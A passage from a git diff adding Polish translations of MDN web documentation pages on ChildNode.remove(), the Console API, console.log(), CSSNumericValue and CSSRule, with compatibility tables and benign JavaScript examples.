+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support (on {{domxref("Element")}})</td>
+ <td>{{CompatChrome(1.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(23)}}</td>
+ <td>9.0</td>
+ <td>10.0</td>
+ <td>4.0</td>
+ </tr>
+ <tr>
+ <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+ <td>{{CompatChrome(23.0)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(23)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>16.0</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>remove()</code>{{experimental_inline}}</td>
+ <td>{{CompatChrome(29.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(23)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>16.0</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+ <td>{{CompatChrome(54.0)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(49)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(39)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support (on {{domxref("Element")}})</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(23)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>10.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Support on {{domxref("DocumentType")}} and {{domxref("CharacterData")}} {{experimental_inline}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(23)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>16.0</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>remove()</code>{{experimental_inline}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(23)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>16.0</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>before()</code>, <code>after()</code>, and <code>replaceWith()</code> {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(54.0)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(49)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOperaMobile(39)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(54.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} pure interface.</li>
+ <li>
+ <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/pl/web/api/childnode/remove/index.html b/files/pl/web/api/childnode/remove/index.html
new file mode 100644
index 0000000000..377e529db2
--- /dev/null
+++ b/files/pl/web/api/childnode/remove/index.html
@@ -0,0 +1,91 @@
+---
+title: ChildNode.remove()
+slug: Web/API/ChildNode/remove
+translation_of: Web/API/ChildNode/remove
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Metoda <code><strong>ChildNode.remove()</strong></code> usuwa obiekt z drzewa, do którego należy.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><em>node</em>.remove();
+</pre>
+
+<h2 id="Przykład">Przykład</h2>
+
+<h3 id="Użycie_remove()">Użycie <code>remove()</code></h3>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;To jest div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;To jest div-02&lt;/div&gt;
+&lt;div id="div-03"&gt;To jest div-03&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var el = document.getElementById('div-02');
+el.remove(); // Usuwa div z ID 'div-02'
+</pre>
+
+<h3 id="ChildNode.remove()_jest_poza_zakresem"><code>ChildNode.remove()</code> jest poza zakresem</h3>
+
+<p>Metoda <code>remove()</code> nie wchodzi w zakres wyrażenia <code>with</code>. Zobacz  {{jsxref("Symbol.unscopables")}}, aby uzyskać więcej informacji.</p>
+
+<pre class="brush: js">with(node) {
+ remove();
+}
+// ReferenceError: remove is not defined </pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Można utworzyć polyfill metody <code>remove()</code> w Internet Explorer 9 (lub wyższej wersji) za pomocą następującego kodu: </p>
+
+<pre class="brush: js">// from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+(function (arr) {
+ arr.forEach(function (item) {
+ if (item.hasOwnProperty('remove')) {
+ return;
+ }
+ Object.defineProperty(item, 'remove', {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: function remove() {
+ this.parentNode.removeChild(this);
+ }
+ });
+ });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM4', '#dom-childnode-remove', 'ChildNode.remove')}}</td>
+ <td>{{Spec2('DOM4')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{Compat("api.ChildNode.remove")}}</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>The {{domxref("ChildNode")}} pure interface.</li>
+ <li>
+ <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/pl/web/api/console/index.html b/files/pl/web/api/console/index.html
new file mode 100644
index 0000000000..0e2b03ab60
--- /dev/null
+++ b/files/pl/web/api/console/index.html
@@ -0,0 +1,232 @@
+---
+title: Console
+slug: Web/API/Console
+translation_of: Web/API/Console
+---
+<div>{{APIRef}}{{Non-standard_header}}</div>
+
+<p>The <code>console</code> object provides access to the browser's debugging console (e.g. the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> in Firefox). The specifics of how it works vary from browser to browser, but there is a <em>de facto</em> set of features that are typically provided.</p>
+
+<p>The <code>console</code> can be accessed from any global object, {{domxref("Window")}} on browsing scopes, {{domxref("WorkerGlobalScope")}} and its specific variants in workers.</p>
+
+<p>This page documents the {{anch("Methods")}} available on the <code>console</code> object and gives a few {{anch("Usage")}} examples.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Console.assert()")}}</dt>
+ <dd>Log a message and stack trace to console if first argument is <code>false</code>.</dd>
+ <dt>{{domxref("Console.count()")}}</dt>
+ <dd>Log the number of times this line has been called with the given label.</dd>
+ <dt>{{domxref("Console.debug()")}} {{deprecated_inline}}</dt>
+ <dd>An alias for <code>log()</code>; this was added to improve compatibility with existing sites already using <code>debug()</code>. However, you should use {{domxref("console.log()")}} instead.</dd>
+ <dt>{{domxref("Console.dir()")}}</dt>
+ <dd>Displays an interactive listing of the properties of a specified JavaScript object. This listing lets you use disclosure triangles to examine the contents of child objects.</dd>
+ <dt>{{domxref("Console.error()")}}</dt>
+ <dd>Outputs an error message. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+ <dt>{{domxref("Console._exception()")}}</dt>
+ <dd>An alias for <code>error();</code></dd>
+ <dt>{{domxref("Console.group()")}}</dt>
+ <dd>Creates a new inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>, indenting all following output by another level. To move back out a level, call <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupCollapsed()")}}</dt>
+ <dd>Creates a new inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>, indenting all following output by another level; unlike <code>group()</code>, this starts with the inline group collapsed, requiring the use of a disclosure button to expand it. To move back out a level, call <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupEnd()")}}</dt>
+ <dd>Exits the current inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>.</dd>
+ <dt>{{domxref("Console.info()")}}</dt>
+ <dd>Informative logging information. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+ <dt>{{domxref("Console.log()")}}</dt>
+ <dd>For general output of logging information. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+ <dt>{{domxref("Console.profile()")}}</dt>
+ <dd>Starts the <a href="/en-US/docs/Tools/Profiler">JavaScript profiler</a>. You can specify an optional label for the profile.</dd>
+ <dt>{{domxref("Console.profileEnd()")}}</dt>
+ <dd>Stops the profiler. You can see the resulting profile in the <a href="/en-US/docs/Tools/Profiler">JavaScript profiler</a>.</dd>
+ <dt>{{domxref("Console.table()")}}</dt>
+ <dd>Displays tabular data as a table.</dd>
+ <dt>{{domxref("Console.time()")}}</dt>
+ <dd>Starts a <a href="/en-US/docs/Web/API/console#Timers">timer</a> with a name specified as an input parameter. Up to 10,000 simultaneous timers can run on a given page.</dd>
+ <dt>{{domxref("Console.timeEnd()")}}</dt>
+ <dd>Stops the specified <a href="/en-US/docs/Web/API/console#Timers">timer</a> and logs the elapsed time in seconds since its start.</dd>
+ <dt>{{domxref("Console.trace()")}}</dt>
+ <dd>Outputs a <a href="/en-US/docs/Web/API/console#Stack_traces">stack trace</a>.</dd>
+ <dt>{{domxref("Console.warn()")}}</dt>
+ <dd>Outputs a warning message. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+</dl>
+
+
+<h2 id="Usage" name="Usage">Usage</h2>
+
+<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">Outputting text to the console</h3>
+
+<p>The most frequently-used feature of the console is logging of text and other data. There are four categories of output you can generate, using the {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, and {{domxref("console.error()")}} methods. Each of these results in output that's styled differently in the log, and you can use the filtering controls provided by your browser to only view the kinds of output that interest you.</p>
+
+<p>There are two ways to use each of the output methods; you can simply pass in a list of objects whose string representations get concatenated into one string then output to the console, or you can pass in a string containing zero or more substitution strings followed by a list of the objects with which to replace them.</p>
+
+<h4 id="Outputting_a_single_object">Outputting a single object</h4>
+
+<p>The simplest way to use the logging methods is to output a single object:</p>
+
+<pre class="brush: js">var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+</pre>
+
+<p>The output looks something like this:</p>
+
+<pre>[09:27:13.475] ({str:"Some text", id:5})</pre>
+
+<h4 id="Outputting_multiple_objects">Outputting multiple objects</h4>
+
+<p>You can also output multiple objects by simply listing them when calling the logging method, like this:</p>
+
+<pre class="brush: js">var car = "Dodge Charger";
+var someObject = {str:"Some text", id:5};
+console.info("My first car was a", car, ". The object is: ", someObject);</pre>
+
+<p>This output will look like this:</p>
+
+<pre>[09:28:22.711] My first car was a Dodge Charger . The object is:  ({str:"Some text", id:5})
+</pre>
+
+<h4 id="Using_string_substitutions">Using string substitutions</h4>
+
+<p>Gecko 9.0 {{geckoRelease("9.0")}} introduced support for string substitutions. When passing a string to one of the console object's methods that accepts a string, you may use these substitution strings:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+ <tr>
+ <td class="header">Substitution string</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td>%o</td>
+ <td>Outputs a hyperlink to a JavaScript object. Clicking the link opens an inspector.</td>
+ </tr>
+ <tr>
+ <td>%d or %i</td>
+ <td>Outputs an integer. Formatting is not yet supported.</td>
+ </tr>
+ <tr>
+ <td>%s</td>
+ <td>Outputs a string.</td>
+ </tr>
+ <tr>
+ <td>%f</td>
+ <td>Outputs a floating-point value. Formatting is not yet supported.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Each of these pulls the next argument after the format string off the parameter list. For example:</p>
+
+<pre>for (var i=0; i&lt;5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+</pre>
+
+<p>The output looks like this:</p>
+
+<pre>[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+</pre>
+
+<h4 id="Styling_console_output">Styling console output</h4>
+
+<p>You can use the <code>"%c"</code> directive to apply a CSS style to console output:</p>
+
+<pre class="brush: js">console.log("%cMy stylish message", "color: red; font-style: italic");</pre>
+
+<div><img alt="" src="https://mdn.mozillademos.org/files/7739/console-style.png" style="display: block; height: 52px; margin-left: auto; margin-right: auto; width: 293px;"></div>
+
+<div>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</div>
+
+<p>You can use nested groups to help organize your output by visually combining related material. To create a new nested block, call <code>console.group()</code>. The <code>console.groupCollapsed()</code> method is similar, but creates the new block collapsed, requiring the use of a disclosure button to open it for reading.</p>
+
+<div class="note"><strong>Note:</strong> Collapsed groups are not supported yet in Gecko; the <code>groupCollapsed()</code> method is the same as <code>group()</code> at this time.</div>
+
+<p class="note">To exit the current group, simply call <code>console.groupEnd()</code>.</p>
+
+<p class="note">For example, given this code:</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.debug("Back to the outer level");
+</pre>
+
+<p>The output looks like this:</p>
+
+<p><img alt="nesting.png" class="default internal" src="/@api/deki/files/6082/=nesting.png"></p>
+
+<div>{{h3_gecko_minversion("Timers", "10.0")}}</div>
+
+<p>In order to calculate the duration of a specific operation, Gecko 10 introduced the support of timers in the <code>console</code> object. To start a timer, call the <code>console.time</code><code>()</code> method, giving it a name as only parameter. To stop the timer, and to get the elapsed time in miliseconds, just call the <code>console.timeEnd()</code> method, again passing the timer's name as the parameter. Up to 10,000 timers can run simultaneously on a given page.</p>
+
+<p>For example, given this code:</p>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeEnd("answer time");
+</pre>
+
+<p>will log the time needed by the user to discard the alert box:</p>
+
+<p><img alt="timerresult.png" class="default internal" src="/@api/deki/files/6084/=timerresult.png"></p>
+
+<p>Notice that the timer's name is displayed both when the timer is started and when it's stopped.</p>
+
+<div class="note"><strong>Note:</strong> It's important to note that if you're using this to log the timing for network traffic, the timer will report the total time for the transaction, while the time listed in the network panel is just the amount of time required for the header. If you have response body logging enabled, the time listed for the response header and body combined should match what you see in the console output.</div>
+
+<h3 id="Stack_traces">Stack traces</h3>
+
+<p>The console object also supports outputting a stack trace; this will show you the call path taken to reach the point at which you call {{domxref("console.trace()")}}. Given code like this:</p>
+
+<pre>foo();
+
+function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+</pre>
+
+<p>The output in the console looks something like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>At least in Firefox, if a page defines a console object, that object overrides the one built into Firefox.</li>
+ <li>Prior to {{Gecko("12.0")}}, the console object's methods only work when the Web Console is open. Starting with {{Gecko("12.0")}}, output is cached until the Web Console is opened, then displayed at that time.</li>
+ <li>It's worth noting that the Firefox's built-in <code>console</code> object is compatible with the one provided by <a class="external" href="http://getfirebug.com/" title="http://getfirebug.com/">Firebug</a>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Tools" title="Tools">Tools</a></li>
+ <li><a href="/en-US/docs/Tools/Web_Console" title="Web Console">Web Console</a> - how the Web Console in Firefox handles console API calls</li>
+ <li><a href="/en-US/docs/Tools/Remote_Debugging">Remote debugging</a> - how to see console output when the debugging target is a mobile device</li>
+ <li><a href="/en-US/Firefox_OS/Using_the_App_Manager">Debugging apps on Firefox OS</a> - using the App Manager to debug apps running on Firefox OS</li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a> - how to do logging on Firefox OS devices</li>
+</ul>
+
+<h3 id="Other_implementations">Other implementations</h3>
+
+<p> </p>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools</a>;</li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug</a>;</li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/hh772173(v=vs.85).aspx">Internet Explorer</a>;</li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari</a>.</li>
+</ul>
diff --git a/files/pl/web/api/console/log/index.html b/files/pl/web/api/console/log/index.html
new file mode 100644
index 0000000000..0f18916b5a
--- /dev/null
+++ b/files/pl/web/api/console/log/index.html
@@ -0,0 +1,69 @@
+---
+title: Console.log()
+slug: Web/API/Console/log
+translation_of: Web/API/Console/log
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p>Wyświetla tekst w konsoli.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">console.log(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.log(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Parameters">Parameters</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Lista obiektów JavaScript do wyświelenia. Podane obiekty są kolejno dołączane i przekazywane na wyjście.</dd>
+ <dt><code>msg</code></dt>
+ <dd>String JavaScript zawierający zero lub więcej stringów podmieniających.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Obiekt JavaScript w którym zastępowane są stringi podmieniające z msg.  Daje Ci to dodatkową kontrolę nad formatem.</dd>
+</dl>
+
+<p>Zobacz również <a href="/en-US/docs/DOM/console#Outputting_text_to_the_console">Outputting text to the console</a> w dokumentacji {{domxref("console")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#consolelogobject--object-", "console.log()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>Początkowa definicja</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Console.log")}}</p>
+
+<p> </p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug wiki: Console API</a> - Firebug supports additional features in its console.log() implementation, such as <a href="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/">styled logging</a>.</li>
+ <li><a href="http://nodejs.org/docs/latest/api/console.html#console_console_log_data">NodeJS: Console API</a></li>
+</ul>
diff --git a/files/pl/web/api/cssnumericvalue/div/index.html b/files/pl/web/api/cssnumericvalue/div/index.html
new file mode 100644
index 0000000000..cd74042e3e
--- /dev/null
+++ b/files/pl/web/api/cssnumericvalue/div/index.html
@@ -0,0 +1,59 @@
+---
+title: CSSNumericValue.div()
+slug: Web/API/CSSNumericValue/div
+translation_of: Web/API/CSSNumericValue/div
+---
+<div>{{draft}}{{APIRef("CSS Typed OM")}}{{SeeCompatTable}}</div>
+
+<p class="summary">The <strong><code>div()</code></strong> method of the {{domxref("CSSNumericValue")}} interface divides the <code>CSSNumericValue</code> by the supplied value.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var cssNumericValue = CSSNumericValue.div(<em>number</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>number</dt>
+ <dd>Either a {{jsxref('Number')}} or a {{domxref('CSSNumericValue')}}.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref('CSSMathProduct')}}.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt>TypeError</dt>
+ <dd>Indicates that an invalid type was passed to the method.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">let mathProduct = CSS.px("24").div(CSS.percent("4"));
+// Prints "calc(24px / 4%)"
+mathProduct.toString();</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS Typed OM','#dom-cssnumericvalue-div','div')}}</td>
+ <td>{{Spec2('CSS Typed OM')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CSSNumericValue.div")}}</p>
diff --git a/files/pl/web/api/cssnumericvalue/index.html b/files/pl/web/api/cssnumericvalue/index.html
new file mode 100644
index 0000000000..eace9532a3
--- /dev/null
+++ b/files/pl/web/api/cssnumericvalue/index.html
@@ -0,0 +1,113 @@
+---
+title: CSSNumericValue
+slug: Web/API/CSSNumericValue
+tags:
+ - API
+ - CSS Typed Object Model API
+ - CSSNumericValue
+ - Experimental
+ - Houdini
+ - Interface
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+translation_of: Web/API/CSSNumericValue
+---
+<div>{{draft}}{{APIRef("CSS Typed OM")}}{{SeeCompatTable}}</div>
+
+<p class="summary">The <strong><code>CSSNumericValue</code></strong> interface of the <a href="/docs/Web/API/CSS_Typed_Object_Model_API">CSS Typed Object Model API</a> represents operations that all numeric values can perform.</p>
+
+<h2 id="Interfaces_based_on_CSSNumericValue">Interfaces based on CSSNumericValue</h2>
+
+<p>Below is a list of interfaces based on the CSSNumericValue interface.</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref('CSSMathInvert')}}</li>
+ <li>{{domxref('CSSMathMax')}}</li>
+ <li>{{domxref('CSSMathMin')}}</li>
+ <li>{{domxref('CSSMathNegate')}}</li>
+ <li>{{domxref('CSSMathProduct')}}</li>
+ <li>{{domxref('CSSMathSum')}}</li>
+ <li>{{domxref('CSSMathValue')}}</li>
+ <li>{{domxref('CSSNumericArray')}}</li>
+ <li>{{domxref('CSSPerspective')}}</li>
+ <li>{{domxref('CSSPositionValue')}}</li>
+ <li>{{domxref('CSSRotate')}}</li>
+ <li>{{domxref('CSSSkew')}}</li>
+ <li>{{domxref('CSSSkeyX')}}</li>
+ <li>{{domxref('CSSSkeyW')}}</li>
+ <li>{{domxref('CSSTranslate')}}</li>
+ <li>{{domxref('CSSUnitValue')}}</li>
+</ul>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p>None.</p>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p>No</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref('CSSNumericValue.add')}}</dt>
+ <dd>Adds a supplied number to the <code>CSSNumericValue</code>.</dd>
+ <dt>{{domxref('CSSNumericValue.sub')}}</dt>
+ <dd>Subtracts a supplied number from the <code>CSSNumericValue</code>.</dd>
+ <dt>{{domxref('CSSNumericValue.mul')}}</dt>
+ <dd>Multiplies the <code>CSSNumericValue</code> by the supplied value.</dd>
+ <dt>{{domxref('CSSNumericValue.div')}}</dt>
+ <dd>Divides the <code>CSSNumericValue</code> by the supplied value.</dd>
+ <dt>{{domxref('CSSNumericValue.min')}}</dt>
+ <dd>Returns the minimum value passed</dd>
+ <dt>{{domxref('CSSNumericValue.max')}}</dt>
+ <dd>Returns the maximum value passed</dd>
+ <dt>{{domxref('CSSNumericValue.equals')}}</dt>
+ <dd><em>True</em> if all the values are the exact same type and value, in the same order. Otherwise, <em>false.</em></dd>
+ <dt>{{domxref('CSSNumericValue.to')}}</dt>
+ <dd>Converts <code>value</code> into another one with the specified <var>unit.</var></dd>
+ <dt>{{domxref('CSSNumericValue.toSum')}}</dt>
+ <dd>TBD</dd>
+ <dt>{{domxref('CSSNumericValue.type')}}</dt>
+ <dd>TBD</dd>
+ <dt>{{domxref('CSSNumericValue.parse')}}</dt>
+ <dd>Allows a <code class="idl">CSSNumericValue</code> to be constructed directly from a string containing CSS. </dd>
+</dl>
+
+
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS Typed OM','#numeric-value','CSSNumericValue')}}</td>
+ <td>{{Spec2('CSS Typed OM')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CSSNumericValue")}}</p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li>{{domxref('CSSImageValue')}}</li>
+ <li>{{domxref('CSSKeywordValue')}}</li>
+ <li>{{domxref('CSSPositionValue')}}</li>
+ <li>{{domxref('CSSTransformValue')}}</li>
+ <li>{{domxref('CSSUnparsedValue')}}</li>
+</ul>
diff --git a/files/pl/web/api/cssrule/index.html b/files/pl/web/api/cssrule/index.html
new file mode 100644
index 0000000000..e8893fe44c
--- /dev/null
+++ b/files/pl/web/api/cssrule/index.html
@@ -0,0 +1,97 @@
+---
+title: cssRule
+slug: Web/API/CSSRule
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/CSSRule
+---
+<p>{{ ApiRef() }}</p>
+<p>Obiekt <code>CSSRule</code> reprezentuje pojedynczy arkusz stylu CSS. To może być pojedyncza reguła arkusza stylów CSS. Może być częścią listy <a href="pl/DOM/stylesheet">stylesheet</a> <a href="pl/DOM/stylesheet.cssRules">cssRules</a>.</p>
+<p>Jest tu kilka rodzajów reguł. Wszystkie one dzielą kilka wspólnych własności interfejsu {{ Anch("CSSRule") }} i większość posiada pewne specyficzne własności oraz typy reguł.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Typ</th>
+ <th>Interfejs związany z regułą</th>
+ <th>Opis</th>
+ </tr>
+ <tr>
+ <td><code>CSSRule.STYLE_RULE</code></td>
+ <td>{{ Anch("CSSStyleRule") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><code>CSSRule.MEDIA_RULE</code></td>
+ <td>{{ Anch("CSSMediaRule") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><code>CSSRule.FONT_FACE_RULE</code></td>
+ <td>{{ Anch("CSSFontFaceRule") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><code>CSSRule.PAGE_RULE</code></td>
+ <td>{{ Anch("CSSPageRule") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><code>CSSRule.IMPORT_RULE</code></td>
+ <td>{{ Anch("CSSImportRule") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><code>CSSRule.CHARSET_RULE</code></td>
